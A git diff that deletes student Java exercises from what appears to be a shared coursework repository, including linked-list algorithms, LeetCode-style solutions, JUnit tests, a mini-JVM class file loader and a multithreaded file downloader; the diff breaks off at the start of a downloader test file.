diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
deleted file mode 100644
index b6f57e977d..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LinkedList.java
+++ /dev/null
@@ -1,402 +0,0 @@
-package com.coding.basic.linklist;
-
-
-import java.util.NoSuchElementException;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class LinkedList implements List {
-
-    private Node head;
-    private int size;
-
-    public void add(Object o) {
-        Node newNode = new Node(o, null);
-        if (head == null) {
-            head = newNode;
-        } else {
-            Node tmp = head;
-            while (tmp.next != null) {
-                tmp = tmp.next;
-            }
-            tmp.next = newNode;
-        }
-        size++;
-    }
-
-    public void add(int index, Object o) {
-        checkMinBound(index);
-        checkMaxBound(index, size);
-        Node newNode = new Node(o, null);
-        if (index == 0) {
-            newNode.next = head;
-            head = newNode;
-        } else {
-            int pos = 1;
-            Node tmp = head;
-            while (pos != index) {
-                tmp = tmp.next;
-                pos++;
-            }
-            newNode.next = tmp.next;
-            tmp.next = newNode;
-        }
-        size++;
-
-    }
-
-    private void checkMinBound(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException();
-        }
-    }
-
-    private void checkMaxBound(int index, int max) {
-        if (index > max) {
-            throw new IndexOutOfBoundsException();
-        }
-    }
-
-
-    public Object get(int index) {
-        checkMinBound(index);
-        checkMaxBound(index, size - 1);
-        Node cur = head;
-        if (index != 0) {
-            int pos = 0;
-            do {
-                cur = cur.next;
-                pos++;
-            } while (pos != index);
-        }
-        return cur.data;
-    }
-
-    public Object remove(int index) {
-        checkMinBound(index);
-        checkMaxBound(index, size - 1);
-        Node cur = head;
-        if (index == 0) {
-            head = cur.next;
-        } else {
-            int pos = 1;
-            Node prev = cur;
-            while (pos != index) {
-                prev = prev.next;
-                pos++;
-            }
-            cur = prev.next;
-            prev.next = cur.next;
-        }
-        size--;
-        return cur.data;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public void addFirst(Object o) {
-        Node newNode = new Node(o, null);
-        newNode.next = head;
-        head = newNode;
-        size++;
-    }
-
-    public void addLast(Object o) {
-        Node newNode = new Node(o, null);
-        if (head == null) {
-            head = newNode;
-        } else {
-            Node tmp = head;
-            while (tmp.next != null) {
-                tmp = tmp.next;
-            }
-            tmp.next = newNode;
-        }
-        size++;
-    }
-
-    public Object removeFirst() {
-        if (head == null) {
-            throw new NoSuchElementException();
-        }
-        Node ret = head;
-        head = head.next;
-        size--;
-        return ret.data;
-    }
-
-    public Object removeLast() {
-        if (head == null) {
-            throw new NoSuchElementException();
-        }
-        Node ret;
-        if (head.next == null) {
-            ret = head;
-            head = null;
-        } else {
-            Node prev = head;
-            ret = head.next;
-            while (ret.next != null) {
-                prev = ret;
-                ret = ret.next;
-            }
-            prev.next = null;
-        }
-        size--;
-        return ret.data;
-    }
-
-    public Iterator iterator() {
-        return null;
-    }
-
-
-    private static class Node {
-        Object data;
-        Node next;
-
-        public Node(Object data, Node next) {
-            this.data = data;
-            this.next = next;
-        }
-
-    }
-
-    /**
-     * 把该链表逆置
-     * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-     */
-    public void reverse() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	Node node = head;
-    	Node nextNode = head.next;
-    	Node tmp;
-    	node.next = null;
-    	do{
-    		tmp = nextNode.next;
-    		nextNode.next = node;
-    		node = nextNode;
-    		nextNode = tmp;
-    	}while(nextNode != null);
-    	head = node;
-    }
-
-    /**
-     * 删除一个单链表的前半部分
-     * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-     * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-     */
-    public void removeFirstHalf() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	int num = size / 2;
-    	size -= num;
-    	Node node = head;
-    	while(num > 0){
-    		node = node.next;
-    		num--;
-    	}
-    	head = node;
-    }
-    
-    /**
-     * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-     *
-     * @param i
-     * @param length
-     */
-    public void remove(int i, int length) {
-    	checkMinBound(i);
-    	checkMaxBound(i + length, size);
-    	Node prev = null;
-    	Node node = head;
-    	int index = 0;
-    	while(index < i){
-    		prev = node;
-    		node = node.next;
-    		index++;
-    	}
-    	Node nextNode = node.next;
-    	while(index < (i + length - 1)){
-    		nextNode = nextNode.next;
-    		index++;
-    	}
-    	size -= length;
-    	if(i == 0){
-    		head = nextNode;
-    	}else{
-    		prev.next = nextNode;
-    		head = prev;
-    	}
-    }
-
-    /**
-     * 假定当前链表和list均包含已升序排列的整数
-     * 从当前链表中取出那些list所指定的元素
-     * 例如当前链表 = 11->101->201->301->401->501->601->701
-     * listB = 1->3->4->6
-     * 返回的结果应该是[101,301,401,601]
-     *
-     * @param list
-     */
-    public int[] getElements(LinkedList list) {
-    	int[] ret = new int[list.size()];
-    	if(ret.length == 0){
-    		return ret;
-    	}
-    	int index;
-    	int j = 0;
-    	Node node = head;
-    	for(int i=0;i<list.size();i++){
-    		index = (int)list.get(i);
-    		while(j < index){
-    			node = node.next;
-    			if(node == null){
-    				throw new IndexOutOfBoundsException();
-    			}
-    			j++;
-    		}
-    		ret[i] = (int)node.data;
-    	}
-    	return ret;
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 从当前链表中中删除在list中出现的元素
-     *
-     * @param list
-     */
-
-    public void subtract(LinkedList list) {
-    	if(size == 0){
-    		return ;
-    	}
-    	Node prev = null;
-    	Node node = head;
-    	int data;
-    	for(int i=0;i<list.size();i++){
-    		data = (int)list.get(i);
-    		do{
-    			if(data == (int)node.data){
-    				if(prev == null){
-    					head = node.next;
-    				}else{
-    					prev.next = node.next;
-    				}
-    				size--;
-    				node = node.next;
-    				break;
-    			}
-    			prev = node;
-    		}while((node = node.next) != null);
-    	}
-    }
-
-    /**
-     * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-     */
-    public void removeDuplicateValues() {
-    	if(size == 0 || size == 1){
-    		return ;
-    	}
-    	Node node = head;
-    	Node next = node.next;
-    	do{
-    		if((int)node.data == (int)next.data){
-    			node.next = next.next;
-    			size--;
-    		}else{
-    			node = node.next;
-    		}
-    		next = next.next;
-    	}while(next != null);
-    }
-
-    /**
-     * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-     * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-     *
-     * @param min
-     * @param max
-     */
-    public void removeRange(int min, int max) {
-    	Node prev = null;
-    	Node node = head;
-    	boolean foundMin = false;
-    	do{
-    		if(!foundMin && (int)node.data > min){
-    			foundMin = true;
-    		}
-    		if(foundMin && (int)node.data > max){
-    			break;
-    		}
-    		if(foundMin == false){
-    			prev = node;
-    		}else{
-    			size -= 1;
-    		}
-    		node = node.next;
-    	}while(node != null);
-    	if(prev == null){
-    		head = node;
-    	}else{
-    		prev.next = node;
-    	}
-    }
-
-    /**
-     * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-     * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-     *
-     * @param list
-     */
-    public LinkedList intersection(LinkedList list) {
-    	LinkedList ret = new LinkedList();
-    	Node node = head;
-    	int nodeValue;
-    	int elementValue;
-    	for(int i=0;i<list.size();i++){
-    		nodeValue = (int)node.data;
-    		elementValue = (int)list.get(i);
-    		if(nodeValue == elementValue){
-    			ret.add(nodeValue);
-    		}else if(nodeValue < elementValue){
-    			node = node.next;
-    			while(node != null){
-    				nodeValue = (int)node.data;
-    				if(nodeValue == elementValue){
-    					ret.add(nodeValue);
-    					node = node.next;
-    					break;
-    				}else if(nodeValue > elementValue){
-    					break;
-    				}
-    				node = node.next;
-    			}
-    		}
-    	}
-        return ret;
-    }
-    
-    public String toString(){
-    	Node node = head;
-    	StringBuilder sb = new StringBuilder();
-    	if(node == null){
-    		return "";
-    	}else{
-    		sb.append(head.data);
-    		while((node = node.next) != null){
-    			sb.append(",").append(node.data);
-    		}
-    		return sb.toString();
-    	}
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java b/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
deleted file mode 100644
index 2de0c4370d..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/Palindrome.java
+++ /dev/null
@@ -1,82 +0,0 @@
-package com.coding.me;
-
-/**
- * 回文
- *
- */
-public class Palindrome {
-	
-	private static String oddCase(char[] chars, int index) {
-		int maxLength = 1;
-		int i = 1;
-		while((index - i) >= 0 && (index + i) < chars.length - 1){
-			if(chars[index - i] != chars[index + i]){
-				break;
-			}
-			maxLength += 2;
-			i++;
-		}
-		return String.valueOf(chars, index + 1 - i, maxLength);
-	}
-	
-	private static String evenCase(char[] chars, int index) {
-		int maxLength = 0;
-		int i = 0;
-		while((index - i) >= 0 && (index + 1 + i) <= chars.length - 1){
-			if(chars[index - i] != chars[index + 1 + i]){
-				break;
-			}
-			i++;
-			maxLength += 2;
-		}
-		return String.valueOf(chars, index + 1 - i, maxLength);
-	}
-	
-	public static String findLongestPalindrome(String s){
-		char[] chars = s.toCharArray();
-		String longestPalindrome = "";
-		String tmp = "";
-		for(int i=0;i<chars.length;i++){
-			tmp = oddCase(chars, i);
-			if(longestPalindrome.length() < tmp.length()){
-				longestPalindrome = tmp;
-			}
-			tmp = evenCase(chars, i);
-			if(longestPalindrome.length() < tmp.length()){
-				longestPalindrome = tmp;
-			}
-		}
-		return longestPalindrome;
-	}
-	
-	public static void main(String[] args) {
-		System.out.println(findLongestPalindrome("abcbacda"));
-		int[] nums = {3, 123, 78, 90};
-		System.out.println(largestNumber(nums));
-	}
-	
-	public static String largestNumber(int[] nums) {
-
-        String[] array = new String[nums.length];
-        for (int i = 0; i < nums.length; i++) {
-            array[i] = String.valueOf(nums[i]);
-        }
-
-        String temp;
-        for (int i = 0; i < array.length; i++) {
-            for (int j = i + 1; j < array.length; j++) {
-                if ((array[i] + array[j]).compareTo(array[j] + array[i]) < 0) {
-                    temp = array[i];
-                    array[i] = array[j];
-                    array[j] =temp;
-                }
-            }
-        }
-        
-        if (array[0].equals("0")) {
-            return "0";
-        } else {
-            return String.join("", array);
-        }
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/AddTwoNums.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/AddTwoNums.java
deleted file mode 100644
index 99e025e020..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/me/leetcode/AddTwoNums.java
+++ /dev/null
@@ -1,84 +0,0 @@
-package com.coding.me.leetcode;
-
-public class AddTwoNums {
-	
-	public ListNode mySolution(ListNode l1, ListNode l2) {
-        int carry = 0;
-        ListNode ret = null;
-        ListNode first = null;
-        while(l1 != null || l2 != null){
-        	int i = l1 == null?0 : l1.val;
-        	int j = l2 == null?0 : l2.val;
-        	int sum = i + j + carry;
-        	if(sum >= 10){
-        		carry = 1;
-        		sum -= 10;
-        	}else{
-        		carry = 0;
-        	}
-        	if(ret == null){
-        		ret = new ListNode(sum);
-        		first = ret;
-        	}else{
-        		ret.next = new ListNode(sum);
-        		ret = ret.next;
-        	}
-        	if(l1 != null){
-        		l1 = l1.next;
-        	}
-        	if(l2 != null){
-        		l2 = l2.next;
-        	}
-        }
-        if(carry > 0){
-        	ret.next = new ListNode(carry);
-        }
-		return first;
-    }
-	
-	public ListNode leetcodeSolution(ListNode l1, ListNode l2) {
-	    ListNode dummyHead = new ListNode(0);
-	    ListNode p = l1, q = l2, curr = dummyHead;
-	    int carry = 0;
-	    while (p != null || q != null) {
-	        int x = (p != null) ? p.val : 0;
-	        int y = (q != null) ? q.val : 0;
-	        int sum = carry + x + y;
-	        carry = sum / 10;
-	        curr.next = new ListNode(sum % 10);
-	        curr = curr.next;
-	        if (p != null) p = p.next;
-	        if (q != null) q = q.next;
-	    }
-	    if (carry > 0) {
-	        curr.next = new ListNode(carry);
-	    }
-	    return dummyHead.next;
-	}
-	
-	public static void main(String[] args) {
-		ListNode l11 = new ListNode(2);
-		ListNode l12 = new ListNode(4);
-		ListNode l13 = new ListNode(3);
-		l11.next = l12;
-		l12.next = l13;
-		
-		ListNode l21 = new ListNode(5);
-		ListNode l22 = new ListNode(6);
-		ListNode l23 = new ListNode(4);
-		l21.next = l22;
-		l22.next = l23;
-		
-		ListNode ret = new AddTwoNums().mySolution(l11, l21);
-		while(ret != null){
-			System.out.println(ret.val);
-			ret = ret.next;
-		}
-	}
-}
-
-class ListNode {
-	int val;
-	ListNode next;
-	ListNode(int x) { val = x; }
-}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
deleted file mode 100644
index 791157d0d6..0000000000
--- a/group23/1028361767/data-structure/src/test/com/coding/basic/TestArrayList.java
+++ /dev/null
@@ -1,61 +0,0 @@
-package test.com.coding.basic;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import com.coding.basic.array.ArrayList;
-
-public class TestArrayList {
-
-    @Test
-    public void testAdd() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 1000; i++) {
-            list.add(new Object());
-        }
-        Assert.assertTrue(list.size() == i);
-    }
-
-    @Test
-    public void testGet() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 10; i++) {
-            list.add(new Object());
-        }
-        Assert.assertFalse(list.get(5) == null);
-        try {
-            list.get(10);
-            Assert.assertTrue(false);
-        } catch (IndexOutOfBoundsException e) {
-            Assert.assertTrue(true);
-        }
-    }
-
-    @Test
-    public void testAddWithIndex() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 10; i++) {
-            list.add(new Object());
-        }
-        Object obj = list.get(5);
-        list.add(5, new Object());
-        Assert.assertTrue(list.size() == (i + 1));
-        Assert.assertTrue(obj == list.get(6));
-    }
-
-    @Test
-    public void testRemove() {
-        ArrayList list = new ArrayList();
-        int i = 0;
-        for (; i < 10; i++) {
-            list.add(i);
-        }
-        Object tempObj = list.get(5);
-        Assert.assertTrue(tempObj == list.remove(5));
-        Assert.assertTrue(list.size() == (i - 1));
-        Assert.assertTrue((int) list.get(list.size() - 1) == (i - 1));
-    }
-}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
deleted file mode 100644
index a137ceffb8..0000000000
--- a/group23/1028361767/data-structure/src/test/com/coding/basic/TestBinaryTreeNode.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package test.com.coding.basic;
-
-import com.coding.basic.BinaryTreeNode;
-import org.junit.Test;
-
-public class TestBinaryTreeNode {
-
-    @Test
-    public void testInsert() {
-        BinaryTreeNode binaryTree = new BinaryTreeNode(5);
-        binaryTree.insert(2);
-        binaryTree.insert(7);
-        binaryTree.insert(1);
-        binaryTree.insert(6);
-
-        printNode(binaryTree);
-
-        binaryTree.insert(4);
-        binaryTree.insert(8);
-
-        System.out.println("*************************");
-        printNode(binaryTree);
-    }
-
-    private void printNode(BinaryTreeNode node) {
-        System.out.print("node's data is " + node.getDataIntVal());
-        System.out.println("   ,node's parent' data is " + (node.getParent() == null ? "null" : node.getParent().getDataIntVal()));
-        if (node.getLeft() != null) {
-            System.out.println("find left child node.");
-            printNode(node.getLeft());
-        }
-        if (node.getRight() != null) {
-            System.out.println("find right child node.");
-            printNode(node.getRight());
-        }
-    }
-}
diff --git a/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java b/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
deleted file mode 100644
index 3a4a79ba0d..0000000000
--- a/group23/1028361767/data-structure/src/test/com/coding/basic/TestLinkedList.java
+++ /dev/null
@@ -1,176 +0,0 @@
-package test.com.coding.basic;
-
-import static org.junit.Assert.fail;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-import com.coding.basic.linklist.LinkedList;
-
-public class TestLinkedList {
-	
-	@Test
-	public void testReverse(){
-		LinkedList list = new LinkedList();
-		list.add(3);
-		list.add(7);
-		list.add(10);
-		list.reverse();
-		Assert.assertEquals("10,7,3", list.toString());
-		Assert.assertEquals("10", list.get(0).toString());
-	}
-	
-	@Test
-	public void testRemoveFirstHalf(){
-		LinkedList list = new LinkedList();
-		list.add(3);
-		list.add(7);
-		list.add(10);
-		list.add(12);
-		list.add(15);
-		list.removeFirstHalf();
-		Assert.assertEquals("10", list.get(0).toString());
-		Assert.assertEquals("10,12,15", list.toString());
-		Assert.assertEquals(3, list.size());
-	}
-	
-	@Test
-	public void testRemoveByLength(){
-		LinkedList list = new LinkedList();
-		list.add(3);
-		list.add(7);
-		list.add(10);
-		list.add(12);
-		list.add(15);
-		list.remove(0, 2);
-		Assert.assertEquals("10", list.get(0).toString());
-		Assert.assertEquals("10,12,15", list.toString());
-		Assert.assertEquals(3, list.size());
-		
-		list.remove(1, 1);
-		Assert.assertEquals("10", list.get(0).toString());
-		Assert.assertEquals("10,15", list.toString());
-		Assert.assertEquals(2, list.size());
-	}
-	
-	@Test
-	public void testGetElements(){
-		LinkedList list = new LinkedList();
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		
-		LinkedList indices = new LinkedList();
-		indices.add(1);
-		indices.add(3);
-		indices.add(4);
-		indices.add(6);
-		int[] elements = list.getElements(indices);
-		StringBuilder sb = new StringBuilder();
-		for(int i=0;i<elements.length;i++){
-			sb.append(elements[i]).append(",");
-		}
-		String elementsStr = sb.length() == 0?"" : sb.substring(0, sb.length() - 1);
-		Assert.assertEquals("1,3,4,6", elementsStr);
-		try{
-			indices.add(7);
-			list.getElements(indices);
-			fail("下标越界，没抛出异常");
-		}catch(IndexOutOfBoundsException e){
-			
-		}
-	}
-	
-	@Test
-	public void testSubtract(){
-		LinkedList list = new LinkedList();
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		
-		LinkedList indices = new LinkedList();
-		indices.add(1);
-		indices.add(3);
-		indices.add(4);
-		indices.add(6);
-		
-		list.subtract(indices);
-		Assert.assertEquals("0,2,5", list.toString());
-		Assert.assertEquals(3, list.size());
-	}
-	
-	@Test
-	public void testRemoveDuplicateValues(){
-		LinkedList list = new LinkedList();
-		list.add(0);
-		list.add(0);
-		list.add(1);
-		list.add(2);
-		list.add(2);
-		list.add(3);
-		list.add(4);
-		list.add(4);
-		list.add(4);
-		list.add(5);
-		list.add(6);
-		list.add(6);
-		list.removeDuplicateValues();
-		Assert.assertEquals("0,1,2,3,4,5,6", list.toString());
-		Assert.assertEquals(7, list.size());
-	}
-	
-	@Test
-	public void testRemoveRange(){
-		LinkedList list = new LinkedList();
-		for(int i=0;i<10000;i++){
-			list.add(i);
-		}
-		list.removeRange(200, 900);//0-200=201,901-9999=9099
-		
-//		Assert.assertEquals("0,1,2,3,6", list.toString());
-		Assert.assertEquals(9300, list.size());
-	}
-	
-	@Test
-	public void testRemoveRange1(){
-		LinkedList list = new LinkedList();
-		for(int i=0;i<10000;i++){
-			list.add(i);
-		}
-//		list.removeRange(200, 900);//0-200=201,901-9999=9099
-		for(int i=201;i<901;i++){
-			list.remove(i);
-		}
-		
-		Assert.assertEquals(9300, list.size());
-	}
-	
-	@Test
-	public void testIntersection(){
-		LinkedList list1 = new LinkedList();
-		list1.add(0);
-		list1.add(1);
-		list1.add(2);
-		list1.add(3);
-		list1.add(5);
-		list1.add(6);
-		
-		LinkedList list2 = new LinkedList();
-		list2.add(1);
-		list2.add(2);
-		list2.add(4);
-		list2.add(5);
-		
-		LinkedList list3 = list1.intersection(list2);
-		
-		Assert.assertEquals("1,2,5", list3.toString());
-	}
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index e9f6541cc1..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,74 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-
-
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className) {
-		className = castClassName(className);
-		File file = null;
-		FileInputStream fis = null;
-		for(String clzPath : clzPaths){
-			file = new File((clzPath + className));
-			try {
-				fis = new FileInputStream(file);
-				byte[] bytes = new byte[2048];
-				int i = 0;
-				int sum = 0;
-				while((i = fis.read(bytes)) != -1){
-					sum += i;
-				}
-				fis.close();
-				return Arrays.copyOf(bytes, sum);
-			} catch (FileNotFoundException e) {
-				continue;
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-		return new byte[0];
-	}
-	
-	private String castClassName(String className) {
-		String[] packs = className.split("\\.");
-		StringBuilder sb = new StringBuilder("/");
-		for(int i=0;i<packs.length;i++){
-			sb.append(packs[i]);
-			if(i == packs.length-1){
-				sb.append(".class");
-			}else{
-				sb.append("/");
-			}
-		}
-		return sb.toString();
-	}
-
-	public void addClassPath(String path) {
-		clzPaths.add(path);
-	}
-	
-	
-	
-	public String getClassPath(){
-		StringBuilder sb = new StringBuilder();
-		for(String clzPath : clzPaths){
-			sb.append(clzPath).append(";");
-		}
-		return sb.length() == 0?"":sb.substring(0, sb.length()-1);
-	}
-
-	
-
-	
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 27e84b762a..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,92 +0,0 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	static String path1 = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
-	static String path2 = "/tmp";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 66024b0ccf..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coderising.download;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.concurrent.locks.Lock;
-import java.util.concurrent.locks.ReentrantLock;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	private Connection conn;
-	private int startPos;
-	private int endPos;
-	private byte[] b = null;
-	private static Lock lock = new ReentrantLock();
-	private static int index=0;
-	
-	static FileOutputStream file = null;
-	static{
-		try {
-			file = new FileOutputStream(new File("e://readme.txt"));
-		} catch (FileNotFoundException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-	}
-	
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-		try {
-			this.b =  conn.read(startPos, endPos);
-		} catch (IOException e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-			throw new RuntimeException();
-		}finally{
-			conn.close();
-		}
-
-	}
-	public void  run(){	
-		if(lock.tryLock()){
-			if(index==startPos){
-				try {
-					if (file!=null) {
-						file.write(b);
-					}
-					index=endPos+1;
-				} catch (IOException e) {
-					e.printStackTrace();
-					throw new RuntimeException();
-				}
-	
-			}else{
-				lock.unlock();
-			}
-		}
-	}
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index ed4a1cf9a1..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,89 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			if(length%3==0){
-				for(int i=1;i<=3;i++){
-					int startPos = length/3*i-1;
-					int endPos = length/3*(i-1);
-					new DownloadThread(conn, endPos, startPos).start();
-				}
-			}else{
-				for(int i=1;i<=2;i++){
-					
-					int startPos = length/3*(i-1);
-					int endPos = length/3*i-1;
-					new DownloadThread(conn, startPos, endPos).start();
-				}
-				int startPos = length/3*2;
-				new DownloadThread(conn, startPos, length).start();
-			}
-			
-			listener.notifyFinished();
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java b/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index ce99026d2b..0000000000
--- a/group23/1072760797-skomefen/day3-26/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.download;
-
